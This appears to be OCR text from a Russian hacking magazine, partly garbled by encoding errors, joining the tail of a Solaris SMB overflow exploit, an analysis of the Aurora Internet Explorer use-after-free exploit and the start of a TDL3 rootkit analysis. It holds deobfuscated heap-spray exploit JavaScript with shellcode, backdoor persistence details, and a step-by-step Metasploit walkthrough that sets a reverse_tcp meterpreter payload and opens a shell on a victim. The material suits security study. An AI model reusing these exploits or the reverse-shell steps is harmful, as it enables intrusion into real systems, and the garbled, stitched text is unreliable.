/* 4 áàéòà åùå */ (ê ñëîâó, èõ óñòàíàâëèâàåò GCC äëÿ âû-

ðàâíèâàíèÿ ñòåêà)

2 buffer[i++] = SMB_HEADER_FILLER;

3 buffer[i++] = SMB_HEADER_FILLER;

4 buffer[i++] = SMB_HEADER_FILLER;

5 buffer[i++] = SMB_HEADER_FILLER;

1 /* Óêàçàòåëü íà ebp */

2 buffer[i++] = SMB_HEADER_FILLER;

3 buffer[i++] = SMB_HEADER_FILLER;

4 buffer[i++] = SMB_HEADER_FILLER;

5 buffer[i++] = SMB_HEADER_FILLER;

1 /* àäðåñ âîçâðàòà (system())*/

2 buffer[i++] = targets[idx].address & 0xff;

3 buffer[i++] = (targets[idx].address >> 8) & 0xff;

4 buffer[i++] = (targets[idx].address >> 16) & 0xff;

5 buffer[i++] = (targets[idx].address >> 24) & 0xff;

Финал, отправка красоты:

01      printf("[*] execute '%s' now ...\n", command);

02  

03      send_smb_packet(s, &sin, SMB_COMMAND_TRIGGER,

  buffer);

04  

05      printf("[*] done\n");

06  

07      close(s);

08    }

09  
10    return 0;

11  }

  TARGETS 
Sun Solaris 8/9/10.
OpenSolaris < snv_96.

  SOLUTION  
Патчится это дело заменой небезопасной функции на безопасную — 
snprintf:

1    while (bytecount > 1) 

     {

2 -  length = sprintf(dialect, (char *)protodata+1);

3 + length = snprintf(dialect, sizeof (dialect),

4 +   "%s", (char *)protodata+1);

5 protodata += (length+2);

6 + if (protodata >= data+len)

7 +   break;

8 bytecount -= (length+2);

9    } 

z

КОДЫ КОМАНД SMB — ИМЕННО 0X72 ИСПОЛЬЗУЕТСЯ ПРИ ЭКСПЛУА-
ТАЦИИ ОПИСАННОЙ УЯЗВИМОСТИ
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Â ÊÎÐÏÎÐÀÒÈÂÍÎÌ ÁËÎÃÅ GOOGLE — ÇÀßÂËÅÍÈÅ ÎÁ ÀÒÀÊÅ ÍÀ ÐÅÑÓÐÑÛ 
ÊÎÌÏÀÍÈÈ ÑÎ ÑÒÎÐÎÍÛ ÊÈÒÀß. ÂÎ ÂÑÅÕ ÍÎÂÎÑÒÍÛÕ ËÅÍÒÀÕ — ÁÓÁÍÅÆ 
Î ÏÎÏÛÒÊÅ ÂÛÊÐÀÑÒÜ ÊÎÍÔÈÄÅÍÖÈÀËÜÍÛÅ ÄÀÍÍÛÅ Ó ÑÎÒÐÓÄÍÈÊÎÂ 
GOOGLE, MCAFEE, ADOBE È ÅÙÅ ÄÂÓÕ ÄÅÑßÒÊÎÂ ÈÇÂÅÑÒÍÛÕ ÊÎÌÏÀÍÈÉ. 
À ÍÀÌ ÝÒÎ ÏÎ ÁÀÐÀÁÀÍÓ :). ÊÀÊÀß ÐÀÇÍÈÖÀ, ×ÒÎ ÕÎÒÅËÈ ÓÊÐÀÑÒÜ ÕÀÊÅÐÛ 
— ÃÎÐÀÇÄÎ ÈÍÒÅÐÅÑÍÅÅ ÐÀÇÎÁÐÀÒÜÑß, ÊÀÊ ÎÍÈ ÕÎÒÅËÈ ÝÒÎ ÑÄÅËÀÒÜ. 
À ÏÎÑÊÎËÜÊÓ Â ÎÑÍÎÂÅ ËÅÆÈÒ ÍÎÂÀß ÓßÇÂÈÌÎÑÒÜ Â INTERNET EXPLORER, 
ÒÎ È ÇÀÉÌÅÌÑß ÌÛ ÒÅÌ, ×ÒÎ ÏÐÅÏÀÐÈÐÓÅÌ ÐÀÁÎ×ÈÉ ÑÏËÎÈÒ. 
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Ã
лавная задача сплоита — заставить 
браузер обратиться к объекту, который 
ранее был удален. Причем в том месте 
памяти, над которым был получен кон-
троль и в который удалось поместить 

зловредный код (шелл-код), выполняющий за-
грузку бэкдора. И если первая цель становится 
доступной из-за ошибки в IE, то контроль над 
нужным участком памяти достигается благо-
даря приему Heap Spraying. Он и раньше не раз 
использовался в сплоитах для браузера.

ÒÅÕÍÈÊÀ HEAP SPRAYING
Чтобы лучше понимать, как работает непо-
средственно Аврора, предлагаю разобраться 
сначала с приемом Heap Spraying. Тогда код 
сплоита покажется понятным и логичным. 
Указанный прием можно применить, когда 
уязвимая программа (в нашем случае — IE) 
по какой-то причине обращается к несуще-
ствующему участку памяти, находящемуся в 
адресном пространстве кучи. В то же время 
адрес не должен быть выше 0x7fffffff, потому 
что выше этого адреса находится адресное 
пространство ядра, к которому нет доступа из 
обычного приложения. Это одно из ограниче-
ний приема Heap Spraying.
Итак, что мы можем сделать, если приложе-
ние по какой-то причине обращается к куче 
(по-английски — Heap), но по несуществую-
щему адресу? Ответ зависит от природы 
уязвимого приложения. Если мы не можем 
управлять кучей приложения (на самом 
деле, максимум, что мы можем делать, это 
неуправляемо инжектировать в нее данные), 
то пиши пропало: ничего не выйдет. И напро-
тив, если такая возможность имеется, мы 
можем добавлять данные в кучу, выделяя под 
них память, до тех пор, пока невалидный до 
этого момента адрес не начнет существовать. 
Посмотри на иллюстрацию, чтобы все стало 
ясно.
Впрочем, знание точного адреса, по которому 
передается управление, не дает нам воз-
можности произвольно вставить шелл-код: 
операционная система сама распределяет 
адресное пространство для выделения дина-
мической памяти. Так как же поместить в кучу 
шелл-код, чтобы он все-таки выполнился? 
Есть секрет. Мы можем заполнить кучу одина-
ковыми блоками, которые состоят из после-

довательности NOP-команд, означающих 
«отсутствие операции», и шелл-кода. Если 
переход будет выполнен на один из таких 
NOP'ов, то выполнение будет «скользить» по 
цепочке NOP до тех пор, пока не наткнется 
на машинную команду, которая выполняет 
некоторые действия. А поскольку после каж-
дой цепочки NOP'а у нас стоит шелл-код, то 
именно он и будет их выполнять! Заполнение 
подобным образом кучи называется Heap 
Spraying. Другой вопрос: почему он так часто 
используется для эксплуатирования уязвимо-
стей браузера? Причина в том, что браузер — 
одно из немногих приложений, которое 
может управлять кучей. Реализуется все с 
помощью JS-скриптов, которые выполняются 
на стороне клиента.  Может показаться, что 
прием очень простой, но это лишь в теории, а 
практическая реализация во многих случаях 
не так очевидна и требует ухищрений. Так 
или иначе, теперь, когда мы познакомились с 
ключевым подходом, используемым в Aurora, 
можно изучить внутренности самого сплоита 
уже с некоторым знанием дела.

ÄÅÎÁÔÓÑÊÀÖÈß ÊÎÄÀ
Код нашумевшего сплоита полностью напи-
сан на JavaScript, но, чтобы немного услож-
нить его чтение, автор использовал простой 
способ обфускации. Тело страницы, вызы-
вающей загрузку трояна, начинается с так 
называемого декриптора, — он расшифровы-
вает незатейливо закодированный JS-код и 
начинает его выполнение. Приведу немного 
урезанный код:

<script>

var c = document

var b = "60 105 ... 62 14 10 "

var ss = b.split(" ");

var a = "a a a ... | } ~ "

var s=a.split(" ");

s[32]=" "

cc = ""

for(i=0;i<ss.length-1;i++) cc += 

s[ss[i].valueOf()-i%2];

var d = c.write

d(cc)

</script>

С помощью этого кода осуществляется 
расшифровка тела сплоита и его запуск. 
Зашифрованное тело JS-скрипта находится 
в строковой переменной b. Каждый символ 
выделяется в отдельный элемент массива, 
после чего с каждым из них в цикле про-
водятся элементарные преобразования с 
использованием параметров, сохраненных в 
переменной a. В результате, расшифрован-
ный код сплоита запускается:

<html>

<script>

var sc = unescape("%u9090 [...] 

6%ubfa8%u00d8");

var sss = Array(826, 679, [...] 

413, 875);

var arr = new Array;

for (var i = 0; i < sss.length; 

i ++ )

{

 arr[i] = String.

fromCharCode(sss[i]/7); 

}

var cc=arr.toString();cc=cc.

replace(/ ,/ g, "");

cc = cc.replace(/@/g, ",");

eval(cc);

var x1 = new Array();

for (i = 0; i < 200; i ++ ){

 x1[i] = document.

createElement("COMMENT");

 x1[i].data = "abc";

};

var e1 = null;

function ev1(evt){

 e1 = document.

createEventObject(evt);

 document.getElementById("sp1").

innerHTML = "";

 window.setInterval(ev2, 50);

}

function ev2(){

 p = "\u0c0d\ [...] \u0c0d";

 for (i = 0; i < x1.length; i ++ 

)

 {

  x1[i].data = p;

 };

 var t = e1.srcElement;
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• Описание старого 
доброго приема NOP-
slide:
www.phreedom.
org/solar/honeynet/
scan20/scan20.html.
• Описание уязвимо-
сти от Microsoft:
www.microsoft.com/
technet/security/
bulletin/MS10-002.
mspx.

links

HTTP://WWW

info
Информация пред-
ставлена исклю-
чительно в ознако-
мительных целях. 
Использование ее 
в противозаконных 
целях грозит пресле-
дованием со стороны 
правоохранительных 
органов. Редакция 
в этом случае ответ-
ственности не несет.

WARNING

}

</script>

<span id="sp1"><IMG SRC="aaa.gif" 

onload="ev1(event)"></span>

</body></html>

Сразу бросается в глаза переменная sc, в которой нахо-
дится шелл-код нашего сплоита. Остальная часть сплои-
та не так очевидна, поэтому пройдемся по исходному 
коду по частям.

ÐÀÇÁÈÐÀÅÌ ÒÅËÎ ÑÏËÎÈÒÀ
В расшифрованном теле сплоита автор еще раз исполь-
зует обфускацию, расположив часть кода в закодирован-
ном виде в массиве sss. 

var sss = Array(826, 679, [...] 413, 875);

var arr = new Array;

for (var i = 0; i < sss.length; i ++ )

{

 arr[i] = String.fromCharCode(sss[i]/7); 

}

var cc=arr.toString();cc=cc.replace(/ ,/ g, 

"");

cc = cc.replace(/@/g, ",");

eval(cc);

Для расшифровки опять же используется простейший 
прием: для каждого зашифрованного символа из масси-
ва sss в цикле выполняется операция sss[i]/7, после чего 
с помощью функции fromCharCode получается символ 
по его Unicode-коду. Массив преобразуется в строку cc, 
из которой регеспами удаляются лишние символы, а 
завершающей командой eval(cc) запускается запуск рас-
шифрованного кода:

var n = unescape("%u0c0d%u0c0d");

while (n.length <= 524288)n += n;

n = n.substring(0, 524269 — sc.length);

var x = new Array();

for (var i = 0; i < 200; i ++ ){

  x[i] = n + sc;

}

А вот теперь, вспоминая описание приема Heap Spraying, 
внимательно смотрим на код. Сначала создается пере-
менная n, в которую записывается большое количество 
NOP-элементов 0D 0C (вернее, их заменителей, не 
выполняющих значимых действий, переходов и вызовов 
процедур). Далее создается массив из одинаковых эле-
ментов, образованных слиянием NOP-команд из пере-
менной n и... шелл-кода из переменной sc. Множество 
одинаковых блочков, для каждого из которых выделяется 
память в куче, — классическая реализация приема Heap 
Spraying! Зачем он нужен, мы определились выше.
Теперь, когда в кучу приложения инжектированы нужные хаке-
ру данные, пора разобраться, как взломщику удается передать 
управление на один из тех блочков, для которых только что 
была выделена память. Здесь-то и используется критическая 
ошибка Internet Explorer, вызывающая такой переход.

ÐÀÇÁÈÐÀÅÌ ÒÅËÎ ÑÏËÎÈÒÀ
Код сплоита далее делает довольно простую вещь:

var x1 = new Array();

for (i = 0; i < 200; i ++ ){

 x1[i] = document.createElement("COMMENT");

 x1[i].data = "abc";

};

var e1 = null;

Так создается 200 элементов с лейблом COMMENT, а их 
поле .data заполняется простой строкой «abc». Чтобы не 
забегать вперед, объясним смысл приема позже. По сути, 
все приготовления сплоита на этом этапе закончены, и 
начинается выполнение страницы с загрузки простого 
изображения:

<span id="sp1"><IMG SRC="aaa.gif" 

onload="ev1(event)"></span>

HTML-код определяет тег <span>, который содержит тег 
<img>, отображающий aaa.gif (без этого файла сплоит не 
сработает). Причем, как только изображение загружает-
ся, срабатывает обработчик события onload (процедура, 
выполняемая автоматически после события «загрузка 
элемента завершена»), в результате которого запускается 
функция ev1. Посмотрим, что она собой представляет:

function ev1(evt){

 e1 = document.createEventObject(evt);

 document.getElementById("sp1").innerHTML 

= "";

 window.setInterval(ev2, 50);

} 

Функция создает объект-событие на основе события 
event, переданного через параметр обработчиком собы-

КРИТИЧЕСКАЯ ОШИБКА INTERNET EXPLORER

ВОТ ЗДЕСЬ IE И СХОДИТ С УМА, ПЕРЕДАВАЯ 
УПРАВЛЕНИЕ ПО АДРЕСУ ИЗ РЕГИСТРА ECX

ДЕОБФУСКАЦИЯ УЧАСТКА КОДА
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тия onload тега <img>. Дальше идет интересная часть: с помощью 
поля innerHTML удаляются все вложенные элементы тега <span>. А 
поскольку в нем находится только объект <img>, то он и удаляется, 
становясь недействительным. Последняя строчка функции запускает 
таймер, который вызывает другую функцию — ev2() — каждые 50 мил-
лисекунд. 

function ev2(){

 p = "\u0c0d\ [...] \u0c0d";

 for (i = 0; i < x1.length; i ++ )

 {

  x1[i].data = p;

 };

 var t = e1.srcElement;

}

</script>

И вот, перед нами — ядро сплоита! Мы видим цикл, который проходит 
по массиву x1 — это тот самый массив, что содержит двести объектов 
COMMENT, созданных ранее. Для каждого объекта в цикле запол-
няется поле .data. Взглянув на содержимое переменной p, которой 
заполняется каждый элемент массива x1, можно подумать, что таким 
образом осуществляется дополнительный Heap Spraying. Но так ли 
это? Нет! Если посмотреть внимательно, то размер данных, которые 
присваиваются полю .data, фиксирован, и он слишком маленький для 
того, чтобы заполнить кучу. Кроме того, в кучу уже было инжектиро-
вано достаточно данных — помнишь? На самом деле (и здесь внима-
ние!) код пытается перезаписать память объекта <img>, которая еще 
недавно была валидной. Ведь, как только объект <img> выгрузили из 
памяти, место, которое он занимал, снова стало свободным. Когда код 

присваивает значение полю .data данными, то этим данным нужно 
место, чтобы быть сохраненными где-то в куче (heap'е). И догадайся 
— что? Система заново использует память, которая ранее была выде-
лена для объекта <img>! Это значит, что автор сплоита смог переза-
писать объект <img> теми данными, какие он захотел. Теперь ответим 
на вопрос, зачем он использовал для этого 0x0C 0x0D? Все просто: 
в результате получается адрес 0x0C0D0C0D, — по нему находятся 
данные с шелл-кодом, которые мы инжектировали в кучу с помощью 
Heap Spraying'а. То, как происходит переход по следующему адресу, 
объясняет следующая строка сплоита. Код обращается к объекту e1:

var t = e1.srcElement;

Свойство srcElement возвращает объект, который инициировал 
событие e1. А этим объектом является <img>, который был удален из 
объекта span с помощью свойства innerHTML. Вот здесь IE и сходит 
с ума из-за ошибки при попытке получить объект, который был ранее 
удален. Браузер ссылается по старому указателю, который хакер сумел 
«перекрыть» множеством значений 0x0C0D0C0D, и управление пря-
миком попадает в кучу, на один из блоков, инжектированных с помо-
щью Heap Spraying'а. Все: на машине клиента спокойно выполняется 
шелл-код, осуществляющий загрузку бэкдора.

ÁÝÊÄÎÐ ÄËß GOOGLE?
Пробив Internet Explorer, сплоит загружает и устанавливает в системе 
бэкдор. Несмотря на серьезные цели (все-таки сотрудники Google 
и т.п.), никакой серьезной защиты у самого трояна нет. Для обфу-
скации используется пресловутый прием «Спагетти-код», с которым 
справляются автоматические средства, в том числе Hex-Rays. А для 
обоснования в системе используются вполне традиционные техни-
ки с использованием процесса Svchost.exe винды. Любой сервис 
прописывается с помощью ключа в ветке HKEY_LOCAL_MACHINE\
System\CurrentControlSet\Services\, а группы сервисов обозначают-
ся в ветке HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\
CurrentVersion\Svchost. Бэкдор создает временный сервис со слу-
чайным именем и создает новую группу сервисов SysIns. Далее 
библиотека %System%\rasmon.dll с телом троя прописывается как 
serviceDLL для этого сервиса, и загрузчик выполняет команду:

C:\Windows\System32\svchost.exe –k SysIns

Библиотека rasmon.dll загружается в память. Напомню, что когда 
система запускается, он проверяет ветки в реестре и запускает те 
сервисы, для которых установлен автозапуск. Бэкдор создает для 
себя запись с описанием сервиса — а система делает все за него. 
Загруженная библиотека продолжает осваиваться в системе. Сначала 
она удаляет временный сервис и создает в реестре запись для ново-
го сервиса с именем RaS[4 случайных символа] (например, RaSxake), 
после чего опять же прописывает библиотеку serviceDLL и при-
вязывает сервис к стандартной группе netsvcs. После этого бэкдор 
автоматически запускается на старте системы с помощью svchost. 
Аналогичный прием использовал W32.Downadup, о котором мы под-

ШЕЛЛ ПОЛУЧЕН!

РЕАЛИЗАЦИЯ СПЛОИТА НА PYTHON ОТЛИЧНО РАБО-
ТАЕТ!
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ÃËÎÑÑÀÐÈÉ

КУЧА (HEAP) — условное название области динамической памяти 
приложения.
NOP — сокращение от английского «No OPeration», инструкция 
процессора, которая предписывает ничего не делать.
Обфускация — намеренное запутывание исходного текста путем 
приведения его к виду, сохраняющему функциональность, но 
затрудняющему анализ. Обратная операция называется деобфу-
скацией.
ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) — рандоми-
зация адресного пространства. Технология случайно выделяет 
пространство для стека, кучи и других элементов в адресном 
пространстве процесса, чем серьезно усложняет жизнь авторам 
сплоитов.
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робно рассказывали в прошлом году. Кстати 
говоря, удалив эту «точку загрузки» и пере-
загрузившись, можно быстро избавиться от 
заразы.
Сам троян, прописавшись в системе, полу-
чает команды через несколько серверов-
админок, которые на текущий момент уже 
прикрыты. Причем в протоколе общения 
бэкдора с сервером-админкой используется 
хитрый способ для вычисления контрольных 
сумм, описанный в одном из китайских изда-
ний, — одна из причин, почему считается, 
что атака была инициирована хакерами из 
Китая.

ÑÏËÎÈÒ Â ÄÅÉÑÒÂÈÈ
Тело сплоита вскоре после атаки стало 
доступным на портале Wepawet (wepawet.
iseclab.org). Не заставил себя ждать и 
соответствующий модуль для Metasploit, 
благодаря которому протестить свои 
локальные машины на наличие уязви-
мости, проверив работу сплоита, стало 
проще простого. Для начала необходимо 
скачать последнюю версию Metasploit 
(www.metasploit.com/framework/download) 
и с помощью онлайн-апдейта обновить 
базы сплоитов. Напомню, что управление 
фреймворком осуществляется с помощью 
специальной консоли msfconsole, через 
которую вводятся текстовые команды. 
Чтобы использовать модуль ie_aurora, в 
котором хранится сплоит для IE, необхо-
димо:

1. Сначала подключить нужный модуль:

msf > use exploit/windows/

browser/ie_aurora

2. Далее выбрать шелл-код, т.е. боевую 
нагрузку, которую будет выполнять сплоит 
на машине жертвы в случае успешного 
эксплуатирования уязвимости. Выбираем 
backconnect (жертва сама «постучится» к 
нам после поражения):

msf exploit(ie_aurora) > set 

PAYLOAD windows/meterpreter/

reverse_tcp

3. Для backconnect'а указать порт, на котором 
будем ждать подключения от пораженной 
машины:

msf exploit(ie_aurora) > set 

LHOST íàø_IP

4. Дополнительно через параметр URIPATH 
указать адрес, где будет находиться «отрав-
ленная» сплоитом HTML-страница (у нас 
она будет в корне):

msf exploit(ie_aurora) > set URIPATH /

5. И, в конце концов, отдать команду на соз-
дание странички со сплоитом: 

msf exploit(ie_aurora) > exploit

В консоли метасплоита появится сообщение 
об ожидании подключений на локальном 
IP-адресе:

[*] Exploit running as background 

job.

[*] Started reverse handler on 

port 4444

[*] Local IP: 

http://192.168.0.23:8080/

[*] Server started.

Все, теперь можно на любой машине с 
Internet Explorer 6 (мы тестили на Windows 
XP SP3) открыть браузер и обратиться 
по адресу и порту, указанному в Local IP 
(http://192.168.0.23:8080). Если сплоит сра-
ботает, в консоли метасплоита ты увидишь 
сообщение о новой сессии (backconnect'а):

[*] Sending stage (723456 bytes)

[*] Meterpreter session 1 

opened (192.168.0.23:4444 -> 

192.168.0.97:1514)

Считай: дело в шляпе. Остается только вос-
пользоваться бэкконнектом, переключившись 
на нужную сессию, и отдать одну из команд 
метасплоита, например, на открытие шелла:

msf exploit(ie_aurora) > sessions 

-i 1

[*] Starting interaction with 

1...
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meterpreter > shell

Process 892 created.

Channel 1 created.

Microsoft Windows XP [Version 

5.1.2600]

(C) Copyright 1985-2001 Microsoft 

Corp.

C:\Documents and Settings\Testlab\

Desktop>

Готово! Помимо модуля для метасплоита, 
существует также публичная реализация на 
Python'е (praetorianprefect.com/wp-content/
uploads/2010/01/ie_aurora.py_.txt), которая 
на указанном порту поднимает веб-сервер 
и отдает подключившимся клиентам HTML-
ку с эксплоитом: python ie_aurora.py [номер 
порта]. В качестве нагрузки используется 
шелл-код, запускающий на атакуемой маши-
не Калькулятор (calc.exe). 

ÏÎ×ÅÌÓ IE6?
На самом деле критическая ошибка суще-
ствует во всех версиях Internet Explorer. 
Однако риск заражения для пользователей 
IE8 значительно ниже. Это обусловлено тем, 
что для Internet Explorer 8 (и на всех плат-
формах, где его можно установить) активиро-
вана DEP (Data Execution Prevention) — 
технология предотвращения выполнения 
данных. Смысл в том, что она препятствует 
исполнению кода из тех участков памяти, 
которые помечены как «неисполняемые». 

Именно поэтому с включенной технологией 
DEP эксплоит не сможет выполнить данные 
в куче, и в худшем случае пользователя 
ожидает аварийное завершение работы 
браузера. Впрочем, security-компания Vupen 
(www.vupen.com/exploits) объявила, что 
сумела обойти DEP и эксплуатировать IE8, 
но публично доступных сплоитов пока нет. 
Microsoft, в свою очередь изучив предостав-
ленные ей proof-of-concept сплоиты, анон-
сировала, что пользователи Windows Vista и 
более поздних систем намного более защи-

щены от атак благодаря технологии Address 
Space Layout Randomization (ASLR). 
Еще один вопрос: откуда взялось это назва-
ние «Аврора»? Слово «Aurora» было частью 
файлового пути на компьютере хакера и 
было включено в два бинарных вредоносных 
файла, которые загружались в ходе атаки. 
Такой файловый путь обычно включается 
компиляторами как указатель на место 
хранения исходного кода и отладочных сим-
волов на компьютере разработчика. Другое 
название сплоита — Hydraq. z 

ЧАСТИЧНО РАСШИФРОВАННЫЙ КОД СПЛОИТА ВПЕРВЫЕ ПОЯВИЛСЯ 
НА ПОРТАЛЕ WEPAWET

HEAP SPRAYING ÇÀÏÎËÍßÅÒ ÊÓ×Ó ÎÄÈÍÀÊÎÂÛÌÈ ÁËÎÊÀÌÈ 
«ÏÎÑËÅÄÎÂÀÒÅËÜÍÎÑÒÜ NOP'ÎÂ + ØÅËË-ÊÎÄ»

}INVALID MEMORY

Injected Heap

Injected Heap

Injected Heap

Injected Heap

Injected Heapðåàëèçàython'å

HEAP Heap

OTHER STRUCTURES
OTHER STRUCTURES

OTHER STRUCTURES OTHER STRUCTURES

HIGH ADRESS TO 0X7FFFFFFF HIGH ADRESS TO 0X7FFFFFFF

JUMP HERE
3C0DFF7D

96AB0000 96AB0000

JUMP HERE
3C0DFF7D

LOW ADRESS TO 0X00000000 LOW ADRESS TO 0X00000000

ÄÎ HEAP SPRAY ÏÎÑËÅ HEAP SPRAY

  NOP + SHELLCODE
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ÊÀÊ ÒÛ, ß ÍÀÄÅÞÑÜ, ÓÆÅ ÍÀÑËÛØÀÍ, ÏÎÄ TDL3 ÏÎÍÈÌÀÞÒ ÍÎÂÎÅ 
ÏÎÊÎËÅÍÈÅ ÐÓÒÊÈÒÎÂ TDSS. ÅÃÎ ÎÒËÈ×ÀÞÒ ÍÀÂÎÐÎ×ÅÍÍÛÅ 
ÒÅÕÍÎËÎÃÈ×ÅÑÊÈÅ ÔÈ×È, ÊÎÒÎÐÛÅ ÎÑÒÀÂÈËÈ ÁÅÇÎÐÓÆÍÛÌÈ ÂÑÅ 
ÀÍÒÈÂÈÐÓÑÛ È ÏÎ×ÒÈ ÂÑÅ ÀÍÒÈÐÓÒÊÈÒÛ.  ß ÏÎÊÀÆÓ, ÊÀÊ ÑËÅÄÓÅÒ 
ÐÀÇÁÈÐÀÒÜ TDL3, Â ×ÅÌ ÅÃÎ ÒÅÕÍÈ×ÅÑÊÈÅ ÎÑÎÁÅÍÍÎÑÒÈ È ÏÎ×ÅÌÓ 
ÀÍÒÈÂÈÐÓÑÛ ÑÏÀÑÎÂÀËÈ ÏÅÐÅÄ ÍÈÌ.
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ÂÇËÎÌ È ÀÍÀËÈÇ 
TDL3 ÏÎÊÎÐßÅÌ ËÅÃÅÍÄÀÐÍÛÉ ÐÓÒÊÈÒ

Ï
ервая информация о рутките появи-
лась на rootkit.com в блоге diablonova 
(rootkit.com/blog.php?newsid=970) и 
содержала сведения о предыдущих 
версиях TDL, а также, собственно, 

о новой версии. Распространение руткита 
началось где-то с октября, тогда же и вышла 
упомянутая статья.
Бросалось в глаза, что руткит действует как 
файловый вирус, заражая драйвер-порта 
жесткого диска; обычно это atapi.sys, нахо-
дящийся под драйвером класса disk.sys. При 
заражении размер драйвера не менялся, 
руткит перезаписывал часть ресурсов драй-
вера и устанавливал точку входа на себя. Это 
загрузчик, основная же часть руткита разме-
щается в конце диска.

Заражая atapi.sys, руткит предоставлял себе 
возможность стартовать на самом раннем 
этапе загрузки ОС. Кроме того, большинство 
антируткитов даже не определят присутствие 
руткита в памяти. Перехват диспатч таблицы 
IRP в объекте-драйвера atapi осуществлен 
так: при чтении зараженного драйвера-порта 
руткит подсовывает оригинальный файл. 

Поэтому все AV шли лесом, а так как руткит 
работал на самом низком уровне, то даже в 
перспективе определить заражение файла 
смогут далеко не все антируткиты. Не гово-
ря уже про лечение. Спустя какое-то время 
аналитики DrWeb выпустили статью «От 
Backdoor.Tdss.565 и выше (aka TDL3)» (drweb.
com/static/BackDoor.Tdss.565_(aka%20TDL3).
pdf), которая раскрывает технические особен-
ности TDL3 и его последующих модификаций. 
Они же первые выпустили лечение этого рут-
кита. Немного позднее вышла статья хакера 
thug4lif3 на rootkit.com (rootkit.com/newsread.
php?newsid=979), также рассказывающая о 
внутреннем мире этого руткита.
В отличие от Rustock.C, который все это 
время держал лидерство среди самых высо-
котехнологичных руткитов, TDL3  вполне 
нормально работает на виртуальной машине 
и под отладчиком, а код не обфусцирован и 
его вполне можно разобрать по винтикам под 
отладчиком. Однако технологическая начин-
ка TDL3 может сбить с толку начинающих 
хакеров, ибо она весьма не проста, но очень 
оригинальна.

Получение семпла руткита тоже зада-
ча не из легких; я встречал ссылки на 
offensivecomputing.net и malwarebytes.org, 
так что, если там поискать, ссылочку вполне 
можно получить.

ÍÀ×ÈÍÀÅÌ ÊÎÏÀÒÜ
Информации в вышеупомянутых статьях 
вполне достаточно для получения представ-
ления о том, с каким зверем мы имеем дело. 
А я расскажу по шагам, как исследовать 
руткит, плюс дам информацию, которая отсут-
ствует в этих статьях. 
Нам понадобится виртуалка, желательно 
Windows XP SP3, настроенная для отлад-
ки, и Windbg, само собой, IDA для разбора. 
Загружаемся в обычной non-debug конфигу-
рации, запускаем семпл. Ждем, пока дроппер 
исчезнет, затем перезагружаемся в debug-
конфигурации и подключаем дебаггер. Если 
заражение прошло успешно, руткит выдаст 
в debug out строчку типа «This is your life, 
and it's ending one minute at a time». Полный 
набор предложений — смотри в статье ана-
литиков DrWeb.
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Вообще-то, при запуске руткитов на вирту-
алке не мешает установить параметр Disable 
acceleration for binary translation в установ-
ках процессора виртуальной машины. Как 
оказалось, tdss.565 и без него нормально 
запускается.
Итак, первое, что смотрим, — перехваты в 
диспатч-таблице драйвера-порта (на моей 
виртуалке это atapi.sys). Если сомневаешь-
ся в том, какой драйвер у тебя установ-
лен, выполни команду !devstack \device\
harddisk0\dr0. Самый нижний драйвер и 
есть драйвер-порта.
Получим его диспатч-функции (загрузив 
первоначально символы для драйвера, 
.reload atapi.sys).
Идем по этому адресу и видим:

kd> u f9756b3a l3

atapi!PortPassThroughZeroUnusedBuffer

s+0x34:

f9756b3a 

    mov eax,dword ptr ds:[FFDF0308h]

f9756b3f 

    jmp dword ptr [eax+0FCh]

f9756b45 

    add byte ptr [eax],al

Неплохой способ, обманывающий анти-
руткиты: TDL3 нашел зануленное место в 
конце секции и вписал туда переход на 
свой код (очевидно, это общая для всех 
IRP функция-обработчик руткита). Здесь 
мы впервые сталкиваемся с его главной 
структурой, которая адресуется от адреса 
0xFFDF0308. Да-да, ты не ошибся, она 
находится в KUSER_SHARED_DATA, вернее, 
в ее неиспользуемой (читай, малоиспользу-
емой) области. Проведя ночь в отладчике, я 
расковырял ее важные части. Далее я буду 
часто ссылаться на эту структуру.

struct _TAIL_PARAM_BLOCK

{

 PVOID pTailInMem; //+0, óêàçàòåëü 

íà õâîñò â ïàìÿòè

 PVOID KernelBaseAddress; //+4, 

ñòàðòîâûé àäðåñ ÿäðà

 PVOID MountedVFSDeviceObject; // 

+8, îáúåêò óñòðîéñòâî atapi, ê 

êîòîðîìó ðóòêèò ïðèìîíòèðîâàë ñâîþ 

VFS

 PVOID Unknown1; //+C

 ULONG TailDiskOffsLow; 

 //+10, ULONGLONG, ñìåùåíèå õâîñòà 

íà äèñêå

 ULONG TailDiskOffsHigh; //+14

 ULONG numOfValidSectorInHideArea; 

 //+18, ÷èñëî ñåêòîðîâ â ñêðûâàå-

ìîé îáëàñòè

 FAST_MUTEX FastMutex;//+1C

 ULONG TailStartDiskSector;//+3C, 

ñòàðòîâûé LBA õâîñòà

 ULONG HideAreaStartSector;//+40, 

ñòàðòîâûé LBA ñêðûâàåìîé îáëàñòè

 UCHAR szBotId[36]; //+44, ñîáûòèå 

ñ òàêèì èìåíåì ñîçäàåòñÿ â êîðíå

 ULONG Unknown2; //+68

 ULONG Unknown3; //+6C

 ULONG Unknown4; //+70

 ULONG Unknown5; //+74

 ULONG Unknown6; //+78

 ULONG Unknown7; //+7C

 ULONG Unknown8; //+80

 ULONG Unknown9; //+84

 ULONG Unknown10;//+88

 ULONG OrigAtapiFuncs[0x1C];

 //+8C, îðèãèíàëüíûå äèñïàò÷-

ôóíêöèè äðàéâåðà-ïîðòà

 PVOID RootkitDispatchFunc; 

 //+FC, ãëàâíàÿ äèñïàò÷-ôóíêöèÿ 

ðóòêèòà

 PVOID AtapiDriverObject; //+100

 PVOID AtapiBootRootkitDevObj; 

 // +104, îáúåêò-óñòðîéñòâî 

äðàéâåðà-ïîðòà äëÿ äèñêà, íà êîòî-

ðîì õðàíèòñÿ ýòîò äðàéâåð

 ULONG SectorSize; //+108

 PVOID pKernel32_LoadLibraryExA; 

 //+10c, äëÿ èíæåêöèè â ïðîöåññû

 ULONG cEntryInHideAreaTable; 

//+110, äàëåå òàáëèöà ñêðûâàåìûõ 

ñåêòîðîâ

 struct

 {

  ULONG SectorStart;

  ULONG OffsFromSector;

  ULONG RestoreDataSize;

  PVOID pOrigData;

  ULONG unknown;

 } 

 HideAreaEntry[7]; //+114

 ULONG unknown11[45];//+1A0

 WCHAR DirSignature[9];//+254, 

ñèãíàòóðà âèðòóàëüíîãî êàòàëîãà

 WCHAR DirFullPath[30];//+266, 

ïîëíûé ïóòü ê âèðòóàëüíîìó êàòà-

ëîãó

 ...

}

ÂÍÓÒÐÈ ÕÂÎÑÒÀ
Как ты понял, руткит состоит из двух частей: 
загрузчика, который находится в секции 
ресурсов, и хвоста, который включает в себя 
весь руткит-функционал. Задача загрузчика 
